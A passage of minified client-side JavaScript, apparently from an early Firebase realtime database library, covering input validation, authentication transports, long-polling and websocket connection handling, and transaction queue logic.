"]").')}function ig(e,t){if(!p(t)||0===t.length||Yf.test(t))throw Error(y(e,1,!1)+'was an invalid path: "'+t+'". Paths must be non-empty strings and can\'t contain ".", "#", "$", "[", or "]"')}function jg(e,t){if(".info"===E(t))throw Error(e+" failed: Can't modify data under /.info/")}function kg(e,t){if(!p(t))throw Error(y(e,1,!1)+"must be a valid credential (a string).")}function lg(e,t,n){if(!p(n))throw Error(y(e,t,!1)+"must be a valid string.")}function mg(e,t){if(lg(e,1,t),!Zf.test(t))throw Error(y(e,1,!1)+"'"+t+"' is not a valid authentication provider.")}function ng(e,t,i,r){if((!r||n(i))&&(!ia(i)||null===i))throw Error(y(e,t,r)+"must be a valid object.")}function og(e,t,n){if(!ia(t)||!v(t,n))throw Error(y(e,1,!1)+'must contain the key "'+n+'"');if(!p(w(t,n)))throw Error(y(e,1,!1)+'must contain the key "'+n+'" with type "string"')}function pg(){this.set={}}function qg(e,t){r(e.set,function(e,n){t(n,e)})}function qc(){this.m=this.B=null}function rg(e,t){if(t.e())return e.B=null,e.m=null,!0;if(null!==e.B){if(e.B.K())return!1;var n=e.B;return e.B=null,n.P(N,function(t,n){e.nc(new L(t),n)}),rg(e,t)}return null===e.m||(n=E(t),t=H(t),e.m.contains(n)&&rg(e.m.get(n),t)&&e.m.remove(n),!!e.m.e()&&(e.m=null,!0))}function rc(e,t,n){null!==e.B?n(t,e.B):e.P(function(e,i){rc(i,new L(t.toString()+"/"+e),n)})}function tg(e,t,n){this.od=e||{},this.ee=t||{},this.$a=n||{},this.od.remember||(this.od.remember="default")}function vg(e){var t={},n={};return ib(e||{},function(e,i){0<=Na(ug,e)?t[e]=i:n[e]=i}),new tg(t,{},n)}function wg(e,t){this.Qe=["session",e.Od,e.hc].join(":"),this.be=t}function xg(){return"undefined"!=typeof navigator&&"string"==typeof navigator.userAgent?navigator.userAgent:""}function yg(){return"undefined"!=typeof window&&!!(window.cordova||window.phonegap||window.PhoneGap)&&/ios|iphone|ipod|ipad|android|blackberry|iemobile/i.test(xg())}function zg(){return"undefined"!=typeof location&&/^file:\//.test(location.href)}function Ag(e){var t=xg();if(""===t)return!1;if("Microsoft Internet Explorer"===navigator.appName){if((t=t.match(/MSIE ([0-9]{1,}[\.0-9]{0,})/))&&1<t.length)return parseFloat(t[1])>=e}else if(-1<t.indexOf("Trident")&&(t=t.match(/rv:([0-9]{2,2}[\.0-9]{0,})/))&&1<t.length)return parseFloat(t[1])>=e;return!1}function Bg(){var e,t=window.opener.frames;for(e=t.length-1;0<=e;e--)try{if(t[e].location.protocol===window.location.protocol&&t[e].location.host===window.location.host&&"__winchan_relay_frame"===t[e].name)return t[e]}catch(n){}return null}function Cg(e,t,n){e.attachEvent?e.attachEvent("on"+t,n):e.addEventListener&&e.addEventListener(t,n,!1)}function Dg(e,t,n){e.detachEvent?e.detachEvent("on"+t,n):e.removeEventListener&&e.removeEventListener(t,n,!1)}function Eg(e){/^https?:\/\//.test(e)||(e=window.location.href);var t=/^(https?:\/\/[\-_a-zA-Z\.0-9:]+)/.exec(e);return t?t[1]:e}function Fg(e){var t="";try{var n=lb(e=e.replace("#",""));n&&v(n,"__firebase_request_key")&&(t=w(n,"__firebase_request_key"))}catch(i){}return t}function Gg(){var e=Pc(sg);return e.scheme+"://"+e.host+"/v2"}function Hg(e){return Gg()+"/"+e+"/auth/channel"}function Ig(e){var t=this;if(this.Ac=e,this.ce="*",Ag(8)?this.Rc=this.zd=Bg():(this.Rc=window.opener,this.zd=window),!t.Rc)throw"Unable to find relay frame";Cg(this.zd,"message",q(this.jc,this)),Cg(this.zd,"message",q(this.Bf,this));try{Jg(this,{a:"ready"})}catch(n){Cg(this.Rc,"load",function(){Jg(t,{a:"ready"})})}Cg(window,"unload",q(this.Bg,this))}function Jg(e,t){t=B(t),Ag(8)?e.Rc.doPost(t,e.ce):e.Rc.postMessage(t,e.ce)}function Kg(e){this.pc=Ga()+Ga()+Ga(),this.Ef=e}function Mg(e){var t=Error(w(Lg,e),e);return t.code=e,t}function Ng(e){var t;(t=!e.window_features)||(t=-1!==(t=xg()).indexOf("Fennec/")||-1!==t.indexOf("Firefox/")&&-1!==t.indexOf("Android")),t&&(e.window_features=void 0),e.window_name||(e.window_name="_blank"),this.options=e}function Og(e){e.method||(e.method="GET"),e.headers||(e.headers={}),e.headers.content_type||(e.headers.content_type="application/json"),e.headers.content_type=e.headers.content_type.toLowerCase(),this.options=e}function Pg(e){this.pc=Ga()+Ga()+Ga(),this.Ef=e}function Qg(e){e.callback_parameter||(e.callback_parameter="callback"),this.options=e,window.__firebase_auth_jsonp=window.__firebase_auth_jsonp||{}}function Rg(e,t,n){setTimeout(function(){try{var i=document.createElement("script");i.type="text/javascript",i.id=e,i.async=!0,i.src=t,i.onerror=function(){var t=document.getElementById(e);null!==t&&t.parentNode.removeChild(t),n&&n(Mg("NETWORK_ERROR"))};var r=document.getElementsByTagName("head");(r&&0!=r.length?r[0]:document.documentElement).appendChild(i)}catch(o){n&&n(Mg("NETWORK_ERROR"))}},0)}function Sg(e,t,n,i){De.call(this,["auth_status"]),this.F=e,this.df=t,this.Vg=n,this.Le=i,this.sc=new wg(e,[xc,yc]),this.mb=null,this.Se=!1,Tg(this)}function Tg(e){yc.get("redirect_request_id")&&Ug(e);var t=e.sc.get();t&&t.token?(Vg(e,t),e.df(t.token,function(n,i){Wg(e,n,i,!1,t.token,t)},function(t,n){Xg(e,"resumeSession()",t,n)})):Vg(e,null)}function Yg(e,t,n,i,r,o){"firebaseio-demo.com"===e.F.domain&&O("Firebase authentication is not supported on demo Firebases (*.firebaseio-demo.com). To secure your Firebase, create a production Firebase at https://www.firebase.com."),e.df(t,function(o,a){Wg(e,o,a,!0,t,n,i||{},r)},function(t,n){Xg(e,"auth()",t,n,o)})}function Zg(e,t){e.sc.clear(),Vg(e,null),e.Vg(function(e,n){if("ok"===e)P(t,null);else{var i=(e||"error").toUpperCase(),r=i;n&&(r+=": "+n),(r=Error(r)).code=i,P(t,r)}})}function Wg(e,t,n,i,r,o,a,s){"ok"===t?(i&&(t=n.auth,o.auth=t,o.expires=n.expires,o.token=bd(r)?r:"",n=null,t&&v(t,"uid")?n=w(t,"uid"):v(o,"uid")&&(n=w(o,"uid")),o.uid=n,n="custom",t&&v(t,"provider")?n=w(t,"provider"):v(o,"provider")&&(n=w(o,"provider")),o.provider=n,e.sc.clear(),bd(r)&&(n=xc,"sessionOnly"===(a=a||{}).remember&&(n=yc),"none"!==a.remember&&e.sc.set(o,n)),Vg(e,o)),P(s,null,o)):(e.sc.clear(),Vg(e,null),o=e=(t||"error").toUpperCase(),n&&(o+=": "+n),(o=Error(o)).code=e,P(s,o))}function Xg(e,t,n,i,r){O(t+" was canceled: "+i),e.sc.clear(),Vg(e,null),(e=Error(i)).code=n.toUpperCase(),P(r,e)}function $g(e,t,n,i,r){ah(e),bh(e,[Og,Qg],"/auth/"+t,n=new tg(i||{},{},n||{}),r)}function ch(e,t,n,i){ah(e);var r=[Ng,Pg];n=vg(n),"anonymous"===t||"password"===t?setTimeout(function(){P(i,Mg("TRANSPORT_UNAVAILABLE"))},0):(n.ee.window_features="menubar=yes,modal=yes,alwaysRaised=yeslocation=yes,resizable=yes,scrollbars=yes,status=yes,height=625,width=625,top="+("object"==typeof screen?.5*(screen.height-625):0)+",left="+("object"==typeof screen?.5*(screen.width-625):0),n.ee.relay_url=Hg(e.F.hc),n.ee.requestWithCredential=q(e.qc,e),bh(e,r,"/auth/"+t,n,i))}function Ug(e){if(n=yc.get("redirect_request_id")){var t=yc.get("redirect_client_options");yc.remove("redirect_request_id"),yc.remove("redirect_client_options");var n,i=[Og,Qg];t=new tg(t,{},n={requestId:n,requestKey:Fg(document.location.hash)});e.Se=!0;try{document.location.hash=document.location.hash.replace(/&__firebase_request_key=([a-zA-z0-9]*)/,"")}catch(r){}bh(e,i,"/auth/session",t,function(){this.Se=!1}.bind(e))}}function bh(e,t,n,i,r){dh(e,t,n,i,function(t,n){!t&&n&&n.token&&n.uid?Yg(e,n.token,n,i.od,function(e,t){e?P(r,e):P(r,null,t)}):P(r,t||Mg("UNKNOWN_ERROR"))})}function dh(e,t,n,i,r){0===(t=Pa(t,function(e){return"function"==typeof e.isAvailable&&e.isAvailable()})).length?setTimeout(function(){P(r,Mg("TRANSPORT_UNAVAILABLE"))},0):(t=new(t.shift())(i.ee),(i=jb(i.$a)).v="js-"+hb,i.transport=t.Cc(),i.suppress_status_codes=!0,e=Gg()+"/"+e.F.hc+n,t.open(e,i,function(e,t){if(e)P(r,e);else if(t&&t.error){var n=Error(t.error.message);n.code=t.error.code,n.details=t.error.details,P(r,n)}else P(r,null,t)}))}function Vg(e,t){var n=null!==e.mb||null!==t;e.mb=t,n&&e.fe("auth_status",t),e.Le(null!==t)}function ah(e){var t=e.F;if("firebaseio.com"!==t.domain&&"firebaseio-demo.com"!==t.domain&&"auth.firebase.com"===sg)throw Error("This custom Firebase server ('"+e.F.domain+"') does not support delegated login.")}function eh(e){this.jc=e,this.Nd=[],this.Sb=0,this.qe=-1,this.Fb=null}function fh(e,t,n){e.qe=t,e.Fb=n,e.qe<e.Sb&&(e.Fb(),e.Fb=null)}function gh(e,t,n){for(e.Nd[t]=n;e.Nd[e.Sb];){var i=e.Nd[e.Sb];delete e.Nd[e.Sb];for(var r=0;r<i.length;++r)if(i[r]){var o=e;Db(function(){o.jc(i[r])})}if(e.Sb===e.qe){e.Fb&&(clearTimeout(e.Fb),e.Fb(),e.Fb=null);break}e.Sb++}}function hh(e,t,n,i){this.re=e,this.f=Mc(e),this.nb=this.ob=0,this.Ua=Rb(t),this.Qf=n,this.Hc=!1,this.Bb=i,this.jd=function(e){return Bc(t,Dc,e)}}function lh(e,t){var n=B(t).length;e.nb+=n,Ob(e.Ua,"bytes_received",n)}function kh(e,t,n,i){if(this.jd=i,this.hb=n,this.Pe=new pg,this.ad=[],this.te=Math.floor(1e8*Math.random()),this.Xd=!0,this.he=Ec(),window["pLPCommand"+this.he]=e,window["pRTLPCB"+this.he]=t,(e=document.createElement("iframe")).style.display="none",!document.body)throw"Document body has not initialized. Wait to initialize Firebase until after the document is ready.";document.body.appendChild(e);try{e.contentWindow.document||Cb("No IE domain setting required")}catch(r){e.src="javascript:void((function(){document.open();document.domain='"+document.domain+"';document.close();})())"}e.contentDocument?e.eb=e.contentDocument:e.contentWindow?e.eb=e.contentWindow.document:e.document&&(e.eb=e.document),this.Ea=e,e="",this.Ea.src&&"javascript:"===this.Ea.src.substr(0,11)&&(e='<script>document.domain="'+document.domain+'";</script>'),e="<html><body>"+e+"</body></html>";try{this.Ea.eb.open(),this.Ea.eb.write(e),this.Ea.eb.close()}catch(o){Cb("frame writing exception"),o.stack&&Cb(o.stack),Cb(o)}}function nh(e){if(e.le&&e.Xd&&e.Pe.count()<(0<e.ad.length?2:1)){e.te++,(t={}).id=e.ug,t.pw=e.vg,t.ser=e.te;for(var t=e.jd(t),n="",i=0;0<e.ad.length&&1870>=e.ad[0].kf.length+30+n.length;){var r=e.ad.shift();n=n+"&seg"+i+"="+r.Mg+"&ts"+i+"="+r.Ug+"&d"+i+"="+r.kf;i++}return oh(e,t+n,e.te),!0}return!1}function oh(e,t,n){function i(){e.Pe.remove(n),nh(e)}e.Pe.add(n,1);var r=setTimeout(i,Math.floor(25e3));mh(e,t,function(){clearTimeout(r),i()})}function mh(e,t,n){setTimeout(function(){try{if(e.Xd){var i=e.Ea.eb.createElement("script");i.type="text/javascript",i.async=!0,i.src=t,i.onload=i.onreadystatechange=function(){var e=i.readyState;e&&"loaded"!==e&&"complete"!==e||(i.onload=i.onreadystatechange=null,i.parentNode&&i.parentNode.removeChild(i),n())},i.onerror=function(){Cb("Long-poll script failed to load: "+t),e.Xd=!1,e.close()},e.Ea.eb.body.appendChild(i)}}catch(r){}},Math.floor(1))}function qh(e,t,n,i){this.re=e,this.f=Mc(this.re),this.frames=this.Kc=null,this.nb=this.ob=this.bf=0,this.Ua=Rb(t),e={v:"5"},"undefined"!=typeof location&&location.href&&-1!==location.href.indexOf("firebaseio.com")&&(e.r="f"),n&&(e.s=n),i&&(e.ls=i),this.ef=Bc(t,Cc,e)}function th(e,t){if(e.frames.push(t),e.frames.length==e.bf){var n=e.frames.join("");e.frames=null,n=nb(n),e.zg(n)}}function sh(e){clearInterval(e.Kc),e.Kc=setInterval(function(){e.ua&&e.ua.send("0"),sh(e)},Math.floor(45e3))}function uh(e){vh(this,e)}function vh(e,t){var n=qh&&qh.isAvailable(),i=n&&!(xc.wf||!0===xc.get("previous_websocket_failure"));if(t.Wg&&(n||O("wss:// URL used, but browser isn't known to support websockets. Trying anyway."),i=!0),i)e.gd=[qh];else{var r=e.gd=[];Wc(wh,function(e,t){t&&t.isAvailable()&&r.push(t)})}}function xh(e){if(0<e.gd.length)return e.gd[0];throw Error("No transports available")}function yh(e,t,n,i,r,o,a){this.id=e,this.f=Mc("c:"+this.id+":"),this.jc=n,this.Wc=i,this.la=r,this.Ne=o,this.F=t,this.Md=[],this.ff=0,this.Pf=new uh(t),this.Ta=0,this.Bb=a,this.f("Connection created"),zh(this)}function zh(e){var t=xh(e.Pf);e.J=new t("c:"+e.id+":"+e.ff++,e.F,void 0,e.Bb),e.Re=t.responsesRequiredToBeHealthy||0;var n=Ah(e,e.J),i=Bh(e,e.J);e.hd=e.J,e.cd=e.J,e.D=null,e.Ab=!1,setTimeout(function(){e.J&&e.J.open(n,i)},Math.floor(0)),0<(t=t.healthyTimeout||0)&&(e.yd=setTimeout(function(){e.yd=null,e.Ab||(e.J&&102400<e.J.nb?(e.f("Connection exceeded healthy timeout but has received "+e.J.nb+" bytes. Marking connection healthy."),e.Ab=!0,e.J.Ed()):e.J&&10240<e.J.ob?e.f("Connection exceeded healthy timeout but has sent "+e.J.ob+" bytes. Leaving connection alive."):(e.f("Closing unhealthy connection after timeout."),e.close()))},Math.floor(t)))}function Bh(e,t){return function(n){t===e.J?(e.J=null,n||0!==e.Ta?1===e.Ta&&e.f("Realtime connection lost."):(e.f("Realtime connection failed."),"s-"===e.F.Ya.substr(0,2)&&(xc.remove("host:"+e.F.host),e.F.Ya=e.F.host)),e.close()):t===e.D?(e.f("Secondary connection lost."),n=e.D,e.D=null,e.hd!==n&&e.cd!==n||e.close()):e.f("closing an old connection")}}function Ah(e,t){return function(n){if(2!=e.Ta)if(t===e.cd){var i=Tc("t",n);if(n=Tc("d",n),"c"==i){if(i=Tc("t",n),"d"in n)if(n=n.d,"h"===i){i=n.ts;var r=n.v,o=n.h;e.Nf=n.s,Ac(e.F,o),0==e.Ta&&(e.J.start(),Ch(e,e.J,i),"5"!==r&&O("Protocol version mismatch detected"),(n=1<(n=e.Pf).gd.length?n.gd[1]:null)&&Dh(e,n))}else if("n"===i){for(e.f("recvd end transmission on primary"),e.cd=e.D,n=0;n<e.Md.length;++n)e.Id(e.Md[n]);e.Md=[],Eh(e)}else"s"===i?(e.f("Connection shutdown command received. Shutting down..."),e.Ne&&(e.Ne(n),e.Ne=null),e.la=null,e.close()):"r"===i?(e.f("Reset packet received. New host: "+n),Ac(e.F,n),1===e.Ta?e.close():(Fh(e),zh(e))):"e"===i?Nc("Server Error: "+n):"o"===i?(e.f("got pong on primary."),Gh(e),Hh(e)):Nc("Unknown control packet command: "+i)}else"d"==i&&e.Id(n)}else if(t===e.D)if(i=Tc("t",n),n=Tc("d",n),"c"==i)"t"in n&&("a"===(n=n.t)?Ih(e):"r"===n?(e.f("Got a reset on secondary, closing it"),e.D.close(),e.hd!==e.D&&e.cd!==e.D||e.close()):"o"===n&&(e.f("got pong on secondary."),e.Mf--,Ih(e)));else{if("d"!=i)throw Error("Unknown protocol layer: "+i);e.Md.push(n)}else e.f("message on old connection")}}function Eh(e){e.hd===e.D&&e.cd===e.D&&(e.f("cleaning up and promoting a connection: "+e.D.re),e.J=e.D,e.D=null)}function Ih(e){0>=e.Mf?(e.f("Secondary connection is healthy."),e.Ab=!0,e.D.Ed(),e.D.start(),e.f("sending client ack on secondary"),e.D.send({t:"c",d:{t:"a",d:{}}}),e.f("Ending transmission on primary"),e.J.send({t:"c",d:{t:"n",d:{}}}),e.hd=e.D,Eh(e)):(e.f("sending ping on secondary."),e.D.send({t:"c",d:{t:"p",d:{}}}))}function Gh(e){e.Ab||(e.Re--,0>=e.Re&&(e.f("Primary connection is healthy."),e.Ab=!0,e.J.Ed()))}function Dh(e,t){e.D=new t("c:"+e.id+":"+e.ff++,e.F,e.Nf),e.Mf=t.responsesRequiredToBeHealthy||0,e.D.open(Ah(e,e.D),Bh(e,e.D)),setTimeout(function(){e.D&&(e.f("Timed out trying to upgrade."),e.D.close())},Math.floor(6e4))}function Ch(e,t,n){e.f("Realtime connection established."),e.J=t,e.Ta=1,e.Wc&&(e.Wc(n,e.Nf),e.Wc=null),0===e.Re?(e.f("Primary connection is healthy."),e.Ab=!0):setTimeout(function(){Hh(e)},Math.floor(5e3))}function Hh(e){e.Ab||1!==e.Ta||(e.f("sending ping on primary."),Jh(e,{t:"c",d:{t:"p",d:{}}}))}function Jh(e,t){if(1!==e.Ta)throw"Connection is not connected";e.hd.send(t)}function Fh(e){e.f("Shutting down all connections"),e.J&&(e.J.close(),e.J=null),e.D&&(e.D.close(),e.D=null),e.yd&&(clearTimeout(e.yd),e.yd=null)}function Kh(e,t,n,i){this.id=Lh++,this.f=Mc("p:"+this.id+":"),this.xf=this.Ee=!1,this.$={},this.qa=[],this.Yc=0,this.Vc=[],this.oa=!1,this.Za=1e3,this.Fd=3e5,this.Gb=t,this.Uc=n,this.Oe=i,this.F=e,this.sb=this.Aa=this.Ia=this.Bb=this.We=null,this.Ob=!1,this.Td={},this.Lg=0,this.nf=!0,this.Lc=this.Ge=null,Mh(this,0),He.ub().Eb("visible",this.Cg,this),-1===e.host.indexOf("fblocal")&&Ge.ub().Eb("online",this.Ag,this)}function Oh(e,t){var n=t.Ig,i=n.path.toString(),r=n.va();e.f("Listen on "+i+" for "+r);var o={p:i};t.tag&&(o.q=ee(n.n),o.t=t.tag),o.h=t.xd(),e.Fa("q",o,function(o){var a=o.d,s=o.s;if(a&&"object"==typeof a&&v(a,"w")){var l=w(a,"w");ea(l)&&0<=Na(l,"no_index")&&O('Using an unspecified index. Consider adding ".indexOn": "'+n.n.g.toString()+'" at '+n.path.toString()+" to your security rules for better performance")}(e.$[i]&&e.$[i][r])===t&&(e.f("listen response",o),"ok"!==s&&Ph(e,i,r),t.H&&t.H(s,a))})}function Qh(e){var t=e.Aa;e.oa&&t&&e.Fa("auth",{cred:t.ig},function(n){var i=n.s;n=n.d||"error","ok"!==i&&e.Aa===t&&delete e.Aa,t.of?"ok"!==i&&t.md&&t.md(i,n):(t.of=!0,t.zc&&t.zc(i,n))})}function Rh(e,t,n,i,r){n={p:n,d:i},e.f("onDisconnect "+t,n),e.Fa(t,n,function(e){r&&setTimeout(function(){r(e.s,e.d)},Math.floor(0))})}function Sh(e,t,i,r,o,a){r={p:i,d:r},n(a)&&(r.h=a),e.qa.push({action:t,Jf:r,H:o}),e.Yc++,t=e.qa.length-1,e.oa?Th(e,t):e.f("Buffering put: "+i)}function Th(e,t){var n=e.qa[t].action,i=e.qa[t].Jf,r=e.qa[t].H;e.qa[t].Jg=e.oa,e.Fa(n,i,function(i){e.f(n+" response",i),delete e.qa[t],e.Yc--,0===e.Yc&&(e.qa=[]),r&&r(i.s,i.d)})}function Mh(e,t){K(!e.Ia,"Scheduling a connect when we're already connected/ing?"),e.sb&&clearTimeout(e.sb),e.sb=setTimeout(function(){e.sb=null,Wh(e)},Math.floor(t))}function Wh(e){if(Xh(e)){e.f("Making a connection attempt"),e.Ge=(new Date).getTime(),e.Lc=null;var t=q(e.Id,e),n=q(e.Wc,e),i=q(e.Df,e),r=e.id+":"+Nh++;e.Ia=new yh(r,e.F,t,n,i,function(t){O(t+" ("+e.F.toString()+")"),e.xf=!0},e.Bb)}}function Uh(e,t,n){(e=Ph(e,t,n=n?Qa(n,function(e){return Uc(e)}).join("$"):"default"))&&e.H&&e.H("permission_denied")}function Ph(e,t,i){var r;return t=new L(t).toString(),n(e.$[t])?(r=e.$[t][i],delete e.$[t][i],0===pa(e.$[t])&&delete e.$[t]):r=void 0,r}function Vh(e){Qh(e),r(e.$,function(t){r(t,function(t){Oh(e,t)})});for(var t=0;t<e.qa.length;t++)e.qa[t]&&Th(e,t);for(;e.Vc.length;)t=e.Vc.shift(),Rh(e,t.action,t.$c,t.data,t.H)}function Xh(e){var t;return t=Ge.ub().kc,!e.xf&&!e.Ee&&t}function Q(e,t,n){this.A=e,this.W=t,this.g=n}function Yh(e,t){this.F=e,this.Ua=Rb(e),this.fd=null,this.da=new vb,this.Hd=1,this.Ra=null,t||0<=("object"==typeof window&&window.navigator&&window.navigator.userAgent||"").search(/googlebot|google webmaster tools|bingbot|yahoo! slurp|baiduspider|yandexbot|duckduckbot/i)?(this.ba=new Ae(this.F,q(this.Gb,this)),setTimeout(q(this.Uc,this,!0),0)):this.ba=this.Ra=new Kh(this.F,q(this.Gb,this),q(this.Uc,this),q(this.Oe,this)),this.Sg=Sb(e,q(function(){return new Mb(this.Ua,this.ba)},this)),this.uc=new Rf,this.Ce=new ob;var n=this;this.Cd=new vf({Xe:function(e,t,i,r){return t=[],(i=n.Ce.j(e.path)).e()||(t=xf(n.Cd,new Xb(bf,e.path,i)),setTimeout(function(){r("ok")},0)),t},ae:ba}),Zh(this,"connected",!1),this.la=new qc,this.M=new Sg(e,q(this.ba.M,this.ba),q(this.ba.ge,this.ba),q(this.Le,this)),this.sd=0,this.De=null,this.L=new vf({Xe:function(e,t,i,r){return n.ba.yf(e,i,t,function(t,i){var o=r(t,i);Ab(n.da,e.path,o)}),[]},ae:function(e,t){n.ba.Rf(e,t)}})}function $h(e){return e=e.Ce.j(new L(".info/serverTimeOffset")).I()||0,(new Date).getTime()+e}function ai(e){return(e=e={timestamp:$h(e)}).timestamp=e.timestamp||(new Date).getTime(),e}function Zh(e,t,n){t=new L("/.info/"+t),n=M(n);var i=e.Ce;i.Wd=i.Wd.G(t,n),n=xf(e.Cd,new Xb(bf,t,n)),Ab(e.da,t,n)}function ci(e){e.f("onDisconnectEvents");var t=ai(e),n=[];rc(pc(e.la,t),G,function(t,i){n=n.concat(xf(e.L,new Xb(bf,t,i)));var r=ei(e,t);bi(e,r)}),e.la=new qc,Ab(e.da,G,n)}function fi(e,t,n,i){var r=M(n);e.ba.Me(t.toString(),r.I(!0),function(n,o){"ok"===n&&e.la.nc(t,r),di(i,n,o)})}function gi(e,t,n,i,r){var o=M(n,i);e.ba.Me(t.toString(),o.I(!0),function(n,i){"ok"===n&&e.la.nc(t,o),di(r,n,i)})}function hi(e,t,n,i){var r,o=!0;for(r in n)o=!1;o?(Cb("onDisconnect().update() called with empty data. Don't do anything."),di(i,"ok")):e.ba.Cf(t.toString(),n,function(r,o){if("ok"===r)for(var a in n){var s=M(n[a]);e.la.nc(t.u(a),s)}di(i,r,o)})}function ii(e,t,n){n=".info"===E(t.path)?e.Cd.Pb(t,n):e.L.Pb(t,n),yb(e.da,t.path,n)}function di(e,t,n){e&&Db(function(){if("ok"==t)e(null);else{var i=(t||"error").toUpperCase(),r=i;n&&(r+=": "+n),(r=Error(r)).code=i,e(r)}})}function ji(e,t,i,r,o){function a(){}e.f("transaction on "+t);var s=new U(e,t);if(s.Eb("value",a),i={path:t,update:i,H:r,status:null,Ff:Ec(),cf:o,Lf:0,ie:function(){s.ic("value",a)},ke:null,Ba:null,pd:null,qd:null,rd:null},r=e.L.za(t,void 0)||C,i.pd=r,n(r=i.update(r.I()))){cg("transaction failed: Data returned ",r,i.path),i.status=1;var l=(o=Sf(e.uc,t)).Ca()||[];l.push(i),Tf(o,l),"object"==typeof r&&null!==r&&v(r,".priority")?K(ag(l=w(r,".priority")),"Invalid priority returned by transaction. Priority must be a valid string, finite number, server value, or null."):l=(e.L.za(t)||C).C().I(),o=ai(e),o=sc(r=M(r,l),o),i.qd=r,i.rd=o,i.Ba=e.Hd++,i=wf(e.L,t,o,i.Ba,i.cf),Ab(e.da,t,i),ki(e)}else i.ie(),i.qd=null,i.rd=null,i.H&&(e=new Q(i.pd,new U(e,i.path),N),i.H(null,!1,e))}function ki(e,t){var n=t||e.uc;if(t||li(e,n),null!==n.Ca()){var i=mi(e,n);K(0<i.length,"Sending zero length transaction queue"),Sa(i,function(e){return 1===e.status})&&ni(e,n.path(),i)}else n.wd()&&n.P(function(t){ki(e,t)})}function ni(e,t,n){for(var i=Qa(n,function(e){return e.Ba}),r=(i=r=e.L.za(t,i)||C,r.hash()),o=0;o<n.length;o++){var a=n[o];K(1===a.status,"tryToSendTransactionQueue_: items in queue should all be run."),a.status=2,a.Lf++;var s=T(t,a.path);i=i.G(s,a.qd)}i=i.I(!0),e.ba.put(t.toString(),i,function(i){e.f("transaction put response",{path:t.toString(),status:i});var r=[];if("ok"===i){for(i=[],o=0;o<n.length;o++){if(n[o].status=3,r=r.concat(zf(e.L,n[o].Ba)),n[o].H){var a=n[o].rd,s=new U(e,n[o].path);i.push(q(n[o].H,null,null,!0,new Q(a,s,N)))}n[o].ie()}for(li(e,Sf(e.uc,t)),ki(e),Ab(e.da,t,r),o=0;o<i.length;o++)Db(i[o])}else{if("datastale"===i)for(o=0;o<n.length;o++)n[o].status=4===n[o].status?5:1;else for(O("transaction at "+t.toString()+" failed: "+i),o=0;o<n.length;o++)n[o].status=5,n[o].ke=i;bi(e,t)}},r)}function bi(e,t){var n,i=(n=oi(e,t)).path();return pi(e,n=mi(e,n),i),i}function pi(e,t,i){if(0!==t.length){for(var r=[],o=[],a=Qa(t,function(e){return e.Ba}),s=0;s<t.length;s++){var l,c=t[s],u=T(i,c.path),d=!1;if(K(null!==u,"rerunTransactionsUnderNode_: relativePath should not be null."),5===c.status)d=!0,l=c.ke,o=o.concat(zf(e.L,c.Ba,!0));else if(1===c.status)if(25<=c.Lf)d=!0,l="maxretry",o=o.concat(zf(e.L,c.Ba,!0));else{var f=e.L.za(c.path,a)||C;c.pd=f;var p=t[s].update(f.I());n(p)?(cg("transaction failed: Data returned ",p,c.path),u=M(p),"object"==typeof p&&null!=p&&v(p,".priority")||(u=u.ga(f.C())),f=c.Ba,p=sc(u,p=ai(e)),c.qd=u,c.rd=p,c.Ba=e.Hd++,Va(a,f),o=(o=o.concat(wf(e.L,c.path,p,c.Ba,c.cf))).concat(zf(e.L,f,!0))):(d=!0,l="nodata",o=o.concat(zf(e.L,c.Ba,!0)))}Ab(e.da,i,o),o=[],d&&(t[s].status=3,setTimeout(t[s].ie,Math.floor(0)),t[s].H&&("nodata"===l?(c=new U(e,t[s].path),r.push(q(t[s].H,null,null,!1,new Q(t[s].pd,c,N)))):r.push(q(t[s].H,null,Error(l),!1,null))))}for(li(e,e.uc),s=0;s<r.length;s++)Db(r[s]);ki(e)}}function oi(e,t){for(var n,i=e.uc;null!==(n=E(t))&&null===i.Ca();)i=Sf(i,n),t=H(t);return i}function mi(e,t){var n=[];return qi(e,t,n),n.sort(function(e,t){return e.Ff-t.Ff}),n}function qi(e,t,n){var i=t.Ca();if(null!==i)for(var r=0;r<i.length;r++)n.push(i[r]);t.P(function(t){qi(e,t,n)})}function li(e,t){var n=t.Ca();if(n){for(var i=0,r=0;r<n.length;r++)3!==n[r].status&&(n[i]=n[r],i++);n.length=i,Tf(t,0<n.length?n:null)}t.P(function(t){li(e,t)})}function ei(e,t){var n=oi(e,t).path(),i=Sf(e.uc,t);return Wf(i,function(t){ri(e,t)}),ri(e,i),Vf(i,function(t){ri(e,t)}),n}function ri(e,t){var n=t.Ca();if(null!==n){for(var i=[],r=[],o=-1,a=0;a<n.length;a++)4!==n[a].status&&(2===n[a].status?(K(o===a-1,"All SENT items should be at beginning of queue."),o=a,n[a].status=4,n[a].ke="set"):(K(1===n[a].status,"Unexpected transaction status in abort"),n[a].ie(),r=r.concat(zf(e.L,n[a].Ba,!0)),n[a].H&&i.push(q(n[a].H,null,Error("set"),!1,null))));for(-1===o?Tf(t,null):n.length=o+1,Ab(e.da,t.path(),r),a=0;a<i.length;a++)Db(i[a])}}function W(){this.oc={},this.Sf=!1}function X(e,t){this.bd=e,this.ra=t}function Y(e,t,n,i){this.k=e,this.path=t,this.n=n,this.lc=i}function si(e){var t=null,n=null;if(e.ma&&(t=nd(e)),e.pa&&(n=pd(e)),e.g===Qd){if(e.ma){if("[MIN_NAME]"!=md(e))throw Error("Query: When ordering by key, you may only pass one argument to startAt(), endAt(), or equalTo().");if("string"!=typeof t)throw Error("Query: When ordering by key, the argument passed to startAt(), endAt(),or equalTo() must be a string.")}if(e.pa){if("[MAX_NAME]"!=od(e))throw Error("Query: When ordering by key, you may only pass one argument to startAt(), endAt(), or equalTo().");if("string"!=typeof n)throw Error("Query: When ordering by key, the argument passed to startAt(), endAt(),or equalTo() must be a string.")}}else if(e.g===N){if(null!=t&&!ag(t)||null!=n&&!ag(n))throw Error("Query: When ordering by priority, the first argument passed to startAt(), endAt(), or equalTo() must be a valid priority value (null, a number, or a string).")}else if(K(e.g instanceof Ud||e.g===$d,"unknown index type."),null!=t&&"object"==typeof t||null!=n&&"object"==typeof n)throw Error("Query: First argument passed to startAt(), endAt(), or equalTo() cannot be an object.")}function ti(e){if(e.ma&&e.pa&&e.ja&&(!e.ja||""===e.Nb))throw Error("Query: Can't combine startAt(), endAt(), and limit(). Use limitToFirst() or limitToLast() instead.")}function ui(e,t){if(!0===e.lc)throw Error(t+": You can't combine multiple orderBy calls.")}function vi(e,t,n){var i={cancel:null,Ma:null};if(t&&n)i.cancel=t,A(e,3,i.cancel,!0), i.Ma=n,mb(e,4,i.Ma);else if(t)if("object"==typeof 